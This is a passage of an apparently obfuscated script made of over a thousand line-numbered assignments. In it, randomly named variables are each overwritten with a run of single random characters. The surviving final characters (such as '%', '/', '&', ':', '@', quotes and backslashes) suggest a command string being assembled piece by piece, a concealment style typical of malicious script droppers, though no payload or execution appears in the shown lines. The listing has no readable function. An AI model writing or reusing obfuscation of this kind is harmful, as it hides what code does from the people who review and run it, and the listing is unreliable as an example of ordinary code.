591	vwzzgnu = "B";
592	vwzzgnu = "J";
593	vwzzgnu = "j";
594	vwzzgnu = "X";
595	vwzzgnu = "U";
596	vwzzgnu = "R";
597	ligqlskwb = "p";
598	ligqlskwb = "U";
599	ligqlskwb = "G";
600	ligqlskwb = "v";
601	ligqlskwb = "n";
602	ligqlskwb = "H";
603	ligqlskwb = "x";
604	ligqlskwb = "J";
605	ligqlskwb = "d";
606	ligqlskwb = "k";
607	ligqlskwb = "O";
608	ligqlskwb = "j";
609	ligqlskwb = "G";
610	ligqlskwb = "i";
611	ligqlskwb = "F";
612	ligqlskwb = "v";
613	ligqlskwb = "W";
614	ligqlskwb = "l";
615	ligqlskwb = "Z";
616	ligqlskwb = "A";
617	ligqlskwb = "G";
618	ligqlskwb = "N";
619	ligqlskwb = "i";
620	ligqlskwb = "e";
621	ligqlskwb = "F";
622	ligqlskwb = "J";
623	ligqlskwb = "K";
624	ligqlskwb = "x";
625	qqcclfi = "O";
626	qqcclfi = "Z";
627	qqcclfi = "r";
628	qqcclfi = ".";
629	oroidgole = "q";
630	oroidgole = "z";
631	oroidgole = "q";
632	oroidgole = "Z";
633	oroidgole = "S";
634	oroidgole = "u";
635	oroidgole = "P";
636	oroidgole = "h";
637	oroidgole = "k";
638	oroidgole = "M";
639	oroidgole = "P";
640	oroidgole = "N";
641	oroidgole = "I";
642	oroidgole = "w";
643	oroidgole = "t";
644	oroidgole = "L";
645	oroidgole = "P";
646	oroidgole = "X";
647	oroidgole = "n";
648	oroidgole = "r";
649	oroidgole = "N";
650	oroidgole = "s";
651	oroidgole = "J";
652	oroidgole = "R";
653	oroidgole = "y";
654	oroidgole = "x";
655	oroidgole = "v";
656	oroidgole = "c";
657	oroidgole = "F";
658	oroidgole = "k";
659	oroidgole = "A";
660	oroidgole = "Y";
661	oroidgole = "u";
662	oroidgole = "C";
663	oroidgole = "C";
664	oroidgole = "h";
665	oroidgole = "6";
666	lykntmt = "n";
667	lykntmt = "p";
668	lykntmt = "d";
669	lykntmt = "A";
670	lykntmt = "i";
671	lykntmt = "m";
672	lykntmt = "z";
673	lykntmt = "l";
674	lykntmt = "G";
675	lykntmt = "X";
676	lykntmt = "M";
677	lykntmt = "m";
678	lykntmt = "C";
679	lykntmt = "y";
680	lykntmt = "N";
681	lykntmt = "K";
682	lykntmt = "w";
683	lykntmt = "d";
684	lykntmt = "m";
685	lykntmt = "N";
686	lykntmt = "W";
687	lykntmt = "G";
688	lykntmt = "s";
689	lykntmt = "h";
690	lykntmt = "Q";
691	lykntmt = "r";
692	lykntmt = "Z";
693	lykntmt = "I";
694	lykntmt = "F";
695	lykntmt = "Z";
696	lykntmt = "o";
697	lykntmt = "Z";
698	lykntmt = "2";
699	rxbbi = "z";
700	rxbbi = "V";
701	rxbbi = "Z";
702	rxbbi = "d";
703	rxbbi = "R";
704	rxbbi = "5";
705	mwjctfe = "U";
706	mwjctfe = "c";
707	mwjctfe = "S";
708	mwjctfe = "l";
709	mwjctfe = "R";
710	mwjctfe = "q";
711	mwjctfe = "M";
712	mwjctfe = "a";
713	mwjctfe = "P";
714	mwjctfe = "J";
715	mwjctfe = "i";
716	mwjctfe = "x";
717	mwjctfe = "S";
718	mwjctfe = "C";
719	mwjctfe = "E";
720	mwjctfe = "p";
721	mwjctfe = "v";
722	mwjctfe = "Y";
723	mwjctfe = "g";
724	mwjctfe = "R";
725	mwjctfe = "E";
726	mwjctfe = "q";
727	mwjctfe = "k";
728	mwjctfe = "X";
729	mwjctfe = "V";
730	mwjctfe = "B";
731	mwjctfe = "x";
732	mwjctfe = "R";
733	mwjctfe = "J";
734	mwjctfe = "I";
735	mwjctfe = "F";
736	mwjctfe = "S";
737	mwjctfe = "m";
738	mwjctfe = "P";
739	mwjctfe = "k";
740	mwjctfe = "f";
741	mwjctfe = "E";
742	mwjctfe = "z";
743	mwjctfe = "x";
744	mwjctfe = "j";
745	mwjctfe = "b";
746	mwjctfe = "v";
747	mwjctfe = "x";
748	mwjctfe = "p";
749	kpoimkf = "y";
750	kpoimkf = "F";
751	kpoimkf = "W";
752	kpoimkf = "s";
753	kpoimkf = "B";
754	kpoimkf = "P";
755	kpoimkf = "k";
756	kpoimkf = "z";
757	kpoimkf = "R";
758	kpoimkf = "f";
759	kpoimkf = "o";
760	kpoimkf = "K";
761	kpoimkf = "Z";
762	kpoimkf = "q";
763	kpoimkf = "R";
764	kpoimkf = "A";
765	kpoimkf = "j";
766	kpoimkf = "Q";
767	kpoimkf = "P";
768	kpoimkf = "g";
769	kpoimkf = "j";
770	kpoimkf = "d";
771	kpoimkf = "d";
772	kpoimkf = "R";
773	kpoimkf = "H";
774	kpoimkf = "B";
775	kpoimkf = "E";
776	kpoimkf = "I";
777	kpoimkf = "h";
778	kpoimkf = "P";
779	kpoimkf = "R";
780	kpoimkf = "o";
781	kpoimkf = "e";
782	kpoimkf = "f";
783	kpoimkf = "W";
784	kpoimkf = "p";
785	kpoimkf = " ";
786	shpnlg = "S";
787	shpnlg = "h";
788	shpnlg = "O";
789	shpnlg = "d";
790	shpnlg = "T";
791	shpnlg = "q";
792	shpnlg = "z";
793	shpnlg = "v";
794	shpnlg = "Q";
795	shpnlg = "f";
796	shpnlg = "F";
797	shpnlg = "o";
798	shpnlg = "f";
799	shpnlg = "e";
800	shpnlg = "x";
801	shpnlg = "l";
802	shpnlg = "Z";
803	shpnlg = "r";
804	shpnlg = "a";
805	shpnlg = "d";
806	shpnlg = "L";
807	shpnlg = "g";
808	shpnlg = "R";
809	shpnlg = "K";
810	shpnlg = "Z";
811	shpnlg = "h";
812	shpnlg = "X";
813	shpnlg = "u";
814	shpnlg = "K";
815	shpnlg = "e";
816	shpnlg = "N";
817	shpnlg = "h";
818	shpnlg = "j";
819	shpnlg = "g";
820	shpnlg = "m";
821	shpnlg = "x";
822	shpnlg = "r";
823	shpnlg = "K";
824	shpnlg = "c";
825	snseeon = "z";
826	snseeon = "M";
827	snseeon = "X";
828	snseeon = "a";
829	snseeon = "l";
830	snseeon = "F";
831	snseeon = "d";
832	snseeon = "0";
833	megawerd = "l";
834	megawerd = "p";
835	megawerd = "q";
836	megawerd = "b";
837	megawerd = "a";
838	megawerd = "t";
839	megawerd = "v";
840	megawerd = "M";
841	megawerd = "c";
842	megawerd = "W";
843	megawerd = "r";
844	megawerd = "G";
845	megawerd = "m";
846	megawerd = "i";
847	megawerd = "j";
848	megawerd = "d";
849	megawerd = "d";
850	megawerd = "t";
851	megawerd = "m";
852	megawerd = "Y";
853	megawerd = "H";
854	megawerd = "Z";
855	megawerd = "K";
856	megawerd = "y";
857	megawerd = "y";
858	megawerd = "R";
859	megawerd = "u";
860	megawerd = "d";
861	megawerd = "b";
862	megawerd = "C";
863	megawerd = "B";
864	megawerd = "u";
865	megawerd = "N";
866	megawerd = "N";
867	megawerd = "H";
868	megawerd = "z";
869	megawerd = "g";
870	rvwpdujrl = "v";
871	rvwpdujrl = "K";
872	rvwpdujrl = "u";
873	rvwpdujrl = "h";
874	rvwpdujrl = "Z";
875	rvwpdujrl = "j";
876	rvwpdujrl = "Z";
877	rvwpdujrl = "Q";
878	rvwpdujrl = "W";
879	rvwpdujrl = "g";
880	rvwpdujrl = "E";
881	rvwpdujrl = "x";
882	rvwpdujrl = "Q";
883	rvwpdujrl = "s";
884	rvwpdujrl = "a";
885	rvwpdujrl = "p";
886	rvwpdujrl = "P";
887	rvwpdujrl = "z";
888	rvwpdujrl = "e";
889	rvwpdujrl = "Z";
890	rvwpdujrl = "R";
891	rvwpdujrl = "d";
892	rvwpdujrl = "K";
893	rvwpdujrl = "n";
894	rvwpdujrl = "L";
895	rvwpdujrl = "b";
896	rvwpdujrl = "v";
897	rvwpdujrl = "u";
898	rvwpdujrl = "G";
899	rvwpdujrl = "e";
900	rvwpdujrl = "a";
901	aspiqsc = "h";
902	aspiqsc = "R";
903	aspiqsc = "G";
904	aspiqsc = "N";
905	aspiqsc = "T";
906	aspiqsc = "i";
907	aspiqsc = "n";
908	aspiqsc = "B";
909	aspiqsc = "z";
910	aspiqsc = "I";
911	aspiqsc = "r";
912	aspiqsc = "v";
913	aspiqsc = "O";
914	aspiqsc = "T";
915	aspiqsc = "n";
916	aspiqsc = "H";
917	aspiqsc = "G";
918	aspiqsc = "F";
919	aspiqsc = "I";
920	aspiqsc = "Q";
921	aspiqsc = "P";
922	aspiqsc = "P";
923	aspiqsc = "N";
924	aspiqsc = "j";
925	aspiqsc = "c";
926	aspiqsc = "P";
927	aspiqsc = "I";
928	aspiqsc = "k";
929	aspiqsc = "s";
930	aspiqsc = "L";
931	aspiqsc = "G";
932	aspiqsc = "q";
933	aspiqsc = "d";
934	aspiqsc = "l";
935	aspiqsc = "e";
936	aspiqsc = "K";
937	bqjyqii = "V";
938	bqjyqii = "T";
939	bqjyqii = "d";
940	bqjyqii = "O";
941	bqjyqii = "m";
942	bqjyqii = "Z";
943	bqjyqii = "d";
944	bqjyqii = "j";
945	bqjyqii = "D";
946	bqjyqii = "y";
947	bqjyqii = "D";
948	bqjyqii = "A";
949	bqjyqii = "y";
950	bqjyqii = "s";
951	bqjyqii = "y";
952	bqjyqii = "m";
953	bqjyqii = "A";
954	bqjyqii = "m";
955	bqjyqii = "r";
956	bqjyqii = "s";
957	bqjyqii = "k";
958	bqjyqii = "t";
959	bqjyqii = "V";
960	bqjyqii = "Z";
961	bqjyqii = "w";
962	bqjyqii = "Y";
963	bqjyqii = "S";
964	bqjyqii = "t";
965	bqjyqii = "W";
966	bqjyqii = "q";
967	bqjyqii = "m";
968	fgarwtczo = "E";
969	fgarwtczo = "q";
970	fgarwtczo = "X";
971	fgarwtczo = "o";
972	fgarwtczo = "y";
973	fgarwtczo = "e";
974	fgarwtczo = "y";
975	fgarwtczo = "U";
976	fgarwtczo = "y";
977	fgarwtczo = "F";
978	fgarwtczo = "B";
979	fgarwtczo = "l";
980	fgarwtczo = "A";
981	fgarwtczo = "q";
982	fgarwtczo = "s";
983	fgarwtczo = "e";
984	fgarwtczo = "R";
985	fgarwtczo = "T";
986	fgarwtczo = "T";
987	fgarwtczo = "w";
988	fgarwtczo = "j";
989	fgarwtczo = "n";
990	fgarwtczo = "x";
991	fgarwtczo = "g";
992	fgarwtczo = "A";
993	fgarwtczo = "l";
994	fgarwtczo = "u";
995	fgarwtczo = "a";
996	fgarwtczo = "p";
997	fgarwtczo = "W";
998	fgarwtczo = "U";
999	fgarwtczo = "B";
1000	fgarwtczo = "m";
1001	fgarwtczo = "L";
1002	fgarwtczo = "r";
1003	fgarwtczo = "G";
1004	fgarwtczo = "O";
1005	fgarwtczo = "Y";
1006	fgarwtczo = "h";
1007	lbnnghhlz = "t";
1008	lbnnghhlz = "P";
1009	lbnnghhlz = "U";
1010	lbnnghhlz = "p";
1011	lbnnghhlz = "R";
1012	lbnnghhlz = "H";
1013	lbnnghhlz = "N";
1014	lbnnghhlz = "g";
1015	lbnnghhlz = "N";
1016	lbnnghhlz = "G";
1017	lbnnghhlz = "L";
1018	lbnnghhlz = "d";
1019	lbnnghhlz = "d";
1020	lbnnghhlz = "D";
1021	lbnnghhlz = "L";
1022	lbnnghhlz = "l";
1023	lbnnghhlz = "d";
1024	lbnnghhlz = "e";
1025	lbnnghhlz = "I";
1026	lbnnghhlz = "F";
1027	lbnnghhlz = "b";
1028	lbnnghhlz = "u";
1029	lbnnghhlz = "E";
1030	lbnnghhlz = "w";
1031	lbnnghhlz = "k";
1032	lbnnghhlz = "l";
1033	lbnnghhlz = "m";
1034	lbnnghhlz = "C";
1035	lbnnghhlz = "k";
1036	lbnnghhlz = "m";
1037	lbnnghhlz = "m";
1038	lbnnghhlz = "V";
1039	lbnnghhlz = "S";
1040	lbnnghhlz = "i";
1041	lbnnghhlz = "q";
1042	lbnnghhlz = "a";
1043	lbnnghhlz = "j";
1044	sduqtwg = "a";
1045	sduqtwg = "k";
1046	sduqtwg = "H";
1047	sduqtwg = "s";
1048	sduqtwg = "o";
1049	sduqtwg = "P";
1050	sduqtwg = "Z";
1051	sduqtwg = "K";
1052	sduqtwg = "X";
1053	sduqtwg = "t";
1054	sduqtwg = "a";
1055	sduqtwg = "E";
1056	sduqtwg = "Q";
1057	sduqtwg = "L";
1058	sduqtwg = "N";
1059	sduqtwg = "X";
1060	sduqtwg = "I";
1061	sduqtwg = "t";
1062	sduqtwg = "c";
1063	sduqtwg = "J";
1064	sduqtwg = "v";
1065	sduqtwg = "i";
1066	sduqtwg = "G";
1067	sduqtwg = "Z";
1068	sduqtwg = "Z";
1069	sduqtwg = "w";
1070	sduqtwg = "K";
1071	sduqtwg = "H";
1072	sduqtwg = "l";
1073	sduqtwg = "M";
1074	sduqtwg = "T";
1075	sduqtwg = "A";
1076	sduqtwg = "A";
1077	sduqtwg = "f";
1078	sduqtwg = "G";
1079	sduqtwg = "M";
1080	sduqtwg = "c";
1081	sduqtwg = "R";
1082	sduqtwg = "K";
1083	sduqtwg = "z";
1084	sduqtwg = "t";
1085	sduqtwg = "3";
1086	verzv = "H";
1087	verzv = "A";
1088	verzv = "C";
1089	verzv = "g";
1090	verzv = "I";
1091	verzv = "J";
1092	verzv = "L";
1093	verzv = "M";
1094	verzv = "R";
1095	verzv = "q";
1096	verzv = "S";
1097	verzv = "j";
1098	verzv = "q";
1099	verzv = "M";
1100	verzv = "r";
1101	verzv = "A";
1102	verzv = "J";
1103	verzv = "W";
1104	verzv = "Z";
1105	verzv = "x";
1106	verzv = "P";
1107	verzv = "K";
1108	verzv = "E";
1109	verzv = "S";
1110	verzv = "E";
1111	verzv = "O";
1112	verzv = "T";
1113	verzv = "v";
1114	verzv = "j";
1115	verzv = "Q";
1116	verzv = "T";
1117	verzv = "T";
1118	mwpkbqc = "H";
1119	mwpkbqc = "S";
1120	mwpkbqc = "h";
1121	mwpkbqc = "e";
1122	mwpkbqc = "i";
1123	mwpkbqc = "f";
1124	mwpkbqc = "j";
1125	mwpkbqc = "q";
1126	mwpkbqc = "A";
1127	mwpkbqc = "n";
1128	mwpkbqc = "k";
1129	mwpkbqc = "l";
1130	mwpkbqc = "T";
1131	mwpkbqc = "h";
1132	mwpkbqc = "D";
1133	mwpkbqc = "I";
1134	mwpkbqc = "i";
1135	mwpkbqc = "s";
1136	mwpkbqc = "C";
1137	mwpkbqc = "r";
1138	mwpkbqc = "l";
1139	mwpkbqc = "P";
1140	mwpkbqc = "h";
1141	mwpkbqc = "E";
1142	mwpkbqc = "c";
1143	mwpkbqc = "j";
1144	mwpkbqc = "w";
1145	mwpkbqc = "E";
1146	mwpkbqc = "m";
1147	mwpkbqc = "l";
1148	mwpkbqc = "q";
1149	mwpkbqc = "T";
1150	mwpkbqc = "E";
1151	mwpkbqc = "m";
1152	mwpkbqc = "H";
1153	mwpkbqc = "t";
1154	mwpkbqc = "u";
1155	mwpkbqc = "b";
1156	mwpkbqc = "%";
1157	irsehmvxi = "J";
1158	irsehmvxi = "H";
1159	irsehmvxi = "C";
1160	irsehmvxi = "R";
1161	irsehmvxi = "H";
1162	irsehmvxi = "J";
1163	irsehmvxi = "b";
1164	irsehmvxi = "I";
1165	irsehmvxi = "J";
1166	irsehmvxi = "W";
1167	irsehmvxi = "t";
1168	irsehmvxi = "w";
1169	irsehmvxi = "Y";
1170	irsehmvxi = "n";
1171	irsehmvxi = "G";
1172	irsehmvxi = "D";
1173	irsehmvxi = "r";
1174	irsehmvxi = "W";
1175	irsehmvxi = "U";
1176	irsehmvxi = "f";
1177	irsehmvxi = "p";
1178	irsehmvxi = "r";
1179	irsehmvxi = "a";
1180	irsehmvxi = "Y";
1181	irsehmvxi = "D";
1182	irsehmvxi = "F";
1183	irsehmvxi = "y";
1184	irsehmvxi = "m";
1185	irsehmvxi = "h";
1186	irsehmvxi = "a";
1187	irsehmvxi = "G";
1188	irsehmvxi = "W";
1189	irsehmvxi = "B";
1190	irsehmvxi = "T";
1191	irsehmvxi = "m";
1192	irsehmvxi = "l";
1193	irsehmvxi = "U";
1194	irsehmvxi = "Z";
1195	irsehmvxi = "i";
1196	irsehmvxi = "J";
1197	irsehmvxi = "D";
1198	irsehmvxi = "K";
1199	irsehmvxi = "g";
1200	irsehmvxi = "g";
1201	irsehmvxi = "/";
1202	iqpezsqmc = "T";
1203	iqpezsqmc = "u";
1204	iqpezsqmc = "E";
1205	iqpezsqmc = "t";
1206	iqpezsqmc = "a";
1207	iqpezsqmc = "u";
1208	iqpezsqmc = "h";
1209	iqpezsqmc = "O";
1210	iqpezsqmc = "Y";
1211	iqpezsqmc = "E";
1212	iqpezsqmc = "n";
1213	iqpezsqmc = "S";
1214	iqpezsqmc = "4";
1215	jnjamhq = "C";
1216	jnjamhq = "z";
1217	jnjamhq = "l";
1218	jnjamhq = "L";
1219	jnjamhq = "R";
1220	jnjamhq = "d";
1221	jnjamhq = "Z";
1222	jnjamhq = "V";
1223	jnjamhq = "A";
1224	jnjamhq = "V";
1225	jnjamhq = "W";
1226	jnjamhq = "k";
1227	jnjamhq = "K";
1228	jnjamhq = "o";
1229	jnjamhq = "o";
1230	jnjamhq = "A";
1231	jnjamhq = "j";
1232	jnjamhq = "b";
1233	puincro = "g";
1234	puincro = "a";
1235	puincro = "n";
1236	puincro = "p";
1237	puincro = "R";
1238	puincro = "k";
1239	puincro = "k";
1240	puincro = "y";
1241	puincro = "H";
1242	bnxfmwk = "P";
1243	bnxfmwk = "P";
1244	bnxfmwk = "b";
1245	bnxfmwk = "O";
1246	bnxfmwk = "7";
1247	gzijprkb = "R";
1248	gzijprkb = "G";
1249	gzijprkb = "b";
1250	gzijprkb = "c";
1251	gzijprkb = "y";
1252	gzijprkb = "p";
1253	gzijprkb = "B";
1254	gzijprkb = "t";
1255	gzijprkb = "R";
1256	gzijprkb = "J";
1257	gzijprkb = "P";
1258	gzijprkb = "F";
1259	gzijprkb = "a";
1260	gzijprkb = "n";
1261	gzijprkb = "v";
1262	gzijprkb = "h";
1263	gzijprkb = "A";
1264	gzijprkb = "j";
1265	gzijprkb = "K";
1266	gzijprkb = "L";
1267	gzijprkb = "L";
1268	gzijprkb = "I";
1269	gzijprkb = "o";
1270	gzijprkb = "H";
1271	gzijprkb = "n";
1272	gzijprkb = "L";
1273	gzijprkb = "t";
1274	gzijprkb = "L";
1275	gzijprkb = "\"";
1276	vclnqto = "f";
1277	vclnqto = "C";
1278	vclnqto = "C";
1279	vclnqto = "G";
1280	vclnqto = "w";
1281	vclnqto = "I";
1282	vclnqto = "Q";
1283	vclnqto = "J";
1284	vclnqto = "k";
1285	xqwadwjlf = "V";
1286	xqwadwjlf = "v";
1287	xqwadwjlf = "a";
1288	xqwadwjlf = "w";
1289	xqwadwjlf = "a";
1290	xqwadwjlf = "L";
1291	xqwadwjlf = "Q";
1292	xqwadwjlf = "c";
1293	xqwadwjlf = "F";
1294	xqwadwjlf = "g";
1295	xqwadwjlf = "m";
1296	xqwadwjlf = "L";
1297	xqwadwjlf = "y";
1298	xqwadwjlf = "W";
1299	xqwadwjlf = "F";
1300	xqwadwjlf = "9";
1301	andnzku = "R";
1302	andnzku = "i";
1303	andnzku = "U";
1304	andnzku = "X";
1305	andnzku = "X";
1306	andnzku = "w";
1307	andnzku = "h";
1308	andnzku = "l";
1309	andnzku = "O";
1310	andnzku = "Y";
1311	andnzku = "F";
1312	andnzku = "q";
1313	andnzku = "V";
1314	andnzku = "m";
1315	andnzku = "G";
1316	andnzku = "k";
1317	andnzku = "r";
1318	andnzku = "U";
1319	andnzku = "E";
1320	andnzku = "J";
1321	andnzku = "a";
1322	andnzku = "G";
1323	andnzku = "h";
1324	andnzku = "W";
1325	andnzku = "B";
1326	andnzku = "o";
1327	andnzku = "p";
1328	andnzku = "F";
1329	andnzku = "U";
1330	andnzku = "W";
1331	andnzku = "v";
1332	andnzku = "u";
1333	andnzku = "N";
1334	andnzku = "s";
1335	andnzku = "B";
1336	andnzku = "Z";
1337	andnzku = "r";
1338	andnzku = "&";
1339	nxmpowbgb = "C";
1340	nxmpowbgb = "M";
1341	nxmpowbgb = "Q";
1342	nxmpowbgb = "Q";
1343	nxmpowbgb = "A";
1344	nxmpowbgb = ":";
1345	bcolmi = "V";
1346	bcolmi = "K";
1347	bcolmi = "U";
1348	bcolmi = "v";
1349	bcolmi = "w";
1350	bcolmi = "y";
1351	bcolmi = "y";
1352	bcolmi = "1";
1353	ezvokd = "I";
1354	ezvokd = "W";
1355	ezvokd = "t";
1356	ezvokd = "g";
1357	ezvokd = "c";
1358	ezvokd = "M";
1359	ezvokd = "k";
1360	ezvokd = "E";
1361	ezvokd = "J";
1362	ezvokd = "K";
1363	ezvokd = "O";
1364	ezvokd = "F";
1365	ezvokd = "g";
1366	ezvokd = "G";
1367	ezvokd = "l";
1368	ezvokd = "M";
1369	ezvokd = "q";
1370	ezvokd = "i";
1371	ezvokd = "o";
1372	ezvokd = "W";
1373	ezvokd = "r";
1374	ezvokd = "C";
1375	ezvokd = "r";
1376	ezvokd = "o";
1377	ezvokd = "g";
1378	ezvokd = "Z";
1379	ezvokd = "g";
1380	ezvokd = "m";
1381	ezvokd = "w";
1382	ezvokd = "p";
1383	ezvokd = "p";
1384	ezvokd = "P";
1385	ezvokd = "v";
1386	ezvokd = "K";
1387	ezvokd = "x";
1388	ezvokd = "t";
1389	ezvokd = "j";
1390	ezvokd = "V";
1391	ezvokd = "x";
1392	ezvokd = "D";
1393	ezvokd = "Y";
1394	abeub = "a";
1395	abeub = "d";
1396	abeub = "s";
1397	abeub = "g";
1398	abeub = "z";
1399	abeub = "e";
1400	abeub = "u";
1401	abeub = "N";
1402	abeub = "d";
1403	abeub = "s";
1404	abeub = "w";
1405	abeub = "n";
1406	abeub = "m";
1407	abeub = "H";
1408	abeub = "v";
1409	abeub = "j";
1410	abeub = "z";
1411	abeub = "E";
1412	abeub = "N";
1413	abeub = "x";
1414	abeub = "U";
1415	abeub = "O";
1416	abeub = "s";
1417	abeub = "e";
1418	abeub = "d";
1419	abeub = "H";
1420	abeub = "X";
1421	abeub = "G";
1422	abeub = "W";
1423	abeub = "E";
1424	abeub = "G";
1425	abeub = "M";
1426	abeub = "A";
1427	abeub = "I";
1428	abeub = "a";
1429	abeub = "h";
1430	abeub = "p";
1431	abeub = "O";
1432	abeub = "@";
1433	djqnypr = "n";
1434	djqnypr = "S";
1435	djqnypr = "l";
1436	djqnypr = "Q";
1437	djqnypr = "m";
1438	djqnypr = "A";
1439	djqnypr = "v";
1440	djqnypr = "U";
1441	djqnypr = "t";
1442	djqnypr = "l";
1443	djqnypr = "e";
1444	djqnypr = "G";
1445	djqnypr = "n";
1446	djqnypr = "u";
1447	djqnypr = "J";
1448	djqnypr = "g";
1449	djqnypr = "U";
1450	djqnypr = "F";
1451	nreayy = "d";
1452	nreayy = "E";
1453	nreayy = "t";
1454	nreayy = "X";
1455	nreayy = "d";
1456	nreayy = "Z";
1457	nreayy = "K";
1458	nreayy = "y";
1459	nreayy = "M";
1460	nreayy = "M";
1461	nreayy = "V";
1462	nreayy = "w";
1463	nreayy = "V";
1464	nreayy = "Z";
1465	nreayy = "g";
1466	nreayy = "b";
1467	nreayy = "b";
1468	nreayy = "w";
1469	nreayy = "C";
1470	nreayy = "y";
1471	nreayy = "o";
1472	nreayy = "Y";
1473	nreayy = "Y";
1474	nreayy = "n";
1475	nreayy = "G";
1476	nreayy = "g";
1477	nreayy = "L";
1478	nreayy = "y";
1479	nreayy = "G";
1480	nreayy = "a";
1481	nreayy = "b";
1482	nreayy = "S";
1483	nreayy = "p";
1484	nreayy = "P";
1485	nreayy = "U";
1486	nreayy = "N";
1487	nreayy = "T";
1488	nreayy = "j";
1489	nreayy = "c";
1490	nreayy = "q";
1491	nreayy = "u";
1492	nreayy = "P";
1493	lkebchf = "y";
1494	lkebchf = "G";
1495	lkebchf = "D";
1496	lkebchf = "v";
1497	lkebchf = "Z";
1498	lkebchf = "z";
1499	lkebchf = "Q";
1500	lkebchf = "X";
1501	lkebchf = "V";
1502	lkebchf = "k";
1503	lkebchf = "f";
1504	lkebchf = "u";
1505	lkebchf = "P";
1506	lkebchf = "E";
1507	lkebchf = "t";
1508	lkebchf = "h";
1509	lkebchf = "V";
1510	lkebchf = "j";
1511	lkebchf = "N";
1512	lkebchf = "H";
1513	lkebchf = "G";
1514	lkebchf = "r";
1515	lkebchf = "Z";
1516	lkebchf = "U";
1517	lkebchf = "D";
1518	lkebchf = "Z";
1519	lkebchf = "C";
1520	lkebchf = "t";
1521	lkebchf = "C";
1522	lkebchf = "I";
1523	lkebchf = "t";
1524	lkebchf = "s";
1525	lkebchf = "H";
1526	lkebchf = "h";
1527	lkebchf = "b";
1528	lkebchf = "d";
1529	lkebchf = "N";
1530	lkebchf = "n";
1531	lkebchf = "o";
1532	lkebchf = "D";
1533	lkebchf = "l";
1534	lkebchf = "V";
1535	lkebchf = "r";
1536	vcqkspx = "i";
1537	vcqkspx = "c";
1538	vcqkspx = "n";
1539	vcqkspx = "b";
1540	vcqkspx = "Y";
1541	vcqkspx = "V";
1542	vcqkspx = "U";
1543	vcqkspx = "e";
1544	nneeeyfv = "C";
1545	nneeeyfv = "A";
1546	nneeeyfv = "d";
1547	nneeeyfv = "U";
1548	nneeeyfv = "X";
1549	nneeeyfv = "w";
1550	nneeeyfv = "t";
1551	nneeeyfv = "g";
1552	nneeeyfv = "Y";
1553	nneeeyfv = "j";
1554	nneeeyfv = "E";
1555	nneeeyfv = "q";
1556	nneeeyfv = "h";
1557	nneeeyfv = "R";
1558	nneeeyfv = "x";
1559	nneeeyfv = "m";
1560	nneeeyfv = "E";
1561	nneeeyfv = "Z";
1562	nneeeyfv = "D";
1563	nneeeyfv = "O";
1564	nneeeyfv = "E";
1565	nneeeyfv = "V";
1566	nneeeyfv = "f";
1567	nneeeyfv = "X";
1568	nneeeyfv = "K";
1569	nneeeyfv = "O";
1570	nneeeyfv = "Z";
1571	nneeeyfv = "x";
1572	nneeeyfv = "i";
1573	nneeeyfv = "h";
1574	nneeeyfv = "X";
1575	nneeeyfv = "s";
1576	nneeeyfv = "i";
1577	nneeeyfv = "q";
1578	nneeeyfv = "\\";
1579	qxccaogs = "M";
1580	qxccaogs = "a";
1581	qxccaogs = "d";
1582	qxccaogs = "F";
1583	qxccaogs = "l";
1584	qxccaogs = "j";
1585	qxccaogs = "D";
1586	qxccaogs = "t";
1587	qxccaogs = "d";
1588	qxccaogs = "Y";
1589	qxccaogs = "N";
1590	qxccaogs = "X";
1591	qxccaogs = "A";
1592	qxccaogs = "w";
1593	qxccaogs = "k";
1594	qxccaogs = "f";
1595	qxccaogs = "W";
1596	qxccaogs = "d";
1597	qxccaogs = "F";
1598	qxccaogs = "Q";
1599	qxccaogs = "e";
1600	qxccaogs = "c";
1601	qxccaogs = "I";
1602	qxccaogs = "P";
1603	qxccaogs = "X";
1604	qxccaogs = "N";
1605	qxccaogs = "N";
1606	qxccaogs = "Z";
1607	qxccaogs = "P";
1608	qxccaogs = "E";
1609	qxccaogs = "P";
1610	qxccaogs = "I";
1611	qxccaogs = "V";
1612	qxccaogs = "N";
1613	qxccaogs = "Y";
1614	qxccaogs = "q";
1615	qxccaogs = "h";
1616	qxccaogs = "I";
1617	qxccaogs = "L";
1618	qxccaogs = "u";
1619	yfgxuy = "X";
1620	yfgxuy = "M";
1621	yfgxuy = "s";
1622	yfgxuy = "i";
1623	yfgxuy = "M";
1624	yfgxuy = "S";
1625	yfgxuy = "O";
1626	yfgxuy = "k";
1627	yfgxuy = "s";
1628	yfgxuy = "G";
1629	yfgxuy = "Y";
1630	yfgxuy = "m";
1631	yfgxuy = "T";
1632	yfgxuy = "Y";
1633	yfgxuy = "P";
1634	yfgxuy = "T";
1635	yfgxuy = "f";
1636	yfgxuy = "O";
1637	yfgxuy = "k";
1638	yfgxuy = "Z";
1639	yfgxuy = "d";
1640	yfgxuy = "I";
1641	yfgxuy = "K";
1642	yfgxuy = "I";
1643	yfgxuy = "d";
1644	yfgxuy = "g";
1645	yfgxuy = "C";
1646	yfgxuy = "r";
1647	yfgxuy = "c";
1648	yfgxuy = "Y";
1649	yfgxuy = "-";
1650	tpsaw = "u";
1651	tpsaw = "d";
1652	tpsaw = "B";
1653	tpsaw = "F";
1654	tpsaw = "e";
1655	tpsaw = "r";
1656	tpsaw = "B";
1657	tpsaw = "o";
1658	tpsaw = "A";
1659	tpsaw = "i";
1660	tpsaw = "s";
1661	tpsaw = "A";
1662	tpsaw = "W";
1663	tpsaw = "A";
1664	tpsaw = "y";
1665	tpsaw = "e";
1666	tpsaw = "e";
1667	tpsaw = "E";
1668	tpsaw = "a";
1669	tpsaw = "w";
1670	tpsaw = "Q";
1671	tpsaw = "F";
1672	tpsaw = "U";
1673	tpsaw = "Y";
1674	tpsaw = "W";
1675	tpsaw = "Z";
1676	tpsaw = "x";
1677	tpsaw = "a";
1678	tpsaw = "u";
1679	tpsaw = "R";
1680	tpsaw = "g";
1681	tpsaw = "M";
1682	tpsaw = "B";
1683	tpsaw = "b";
1684	tpsaw = "q";
1685	xlavfjwlj = "O";
1686	xlavfjwlj = "e";
1687	xlavfjwlj = "a";
1688	xlavfjwlj = "W";
1689	xlavfjwlj = "B";
1690	xlavfjwlj = "v";
1691	xlavfjwlj = "s";
1692	xlavfjwlj = "R";
1693	xlavfjwlj = "S";
1694	xlavfjwlj = "A";
1695	xlavfjwlj = "C";
1696	xlavfjwlj = "M";
1697	xlavfjwlj = "J";
1698	xlavfjwlj = "i";
1699	xlavfjwlj = "T";
1700	xlavfjwlj = "x";
1701	xlavfjwlj = "y";
1702	xlavfjwlj = "Q";
1703	xlavfjwlj = "B";
1704	xlavfjwlj = "c";
1705	xlavfjwlj = "Y";
1706	xlavfjwlj = "I";
1707	xlavfjwlj = "b";
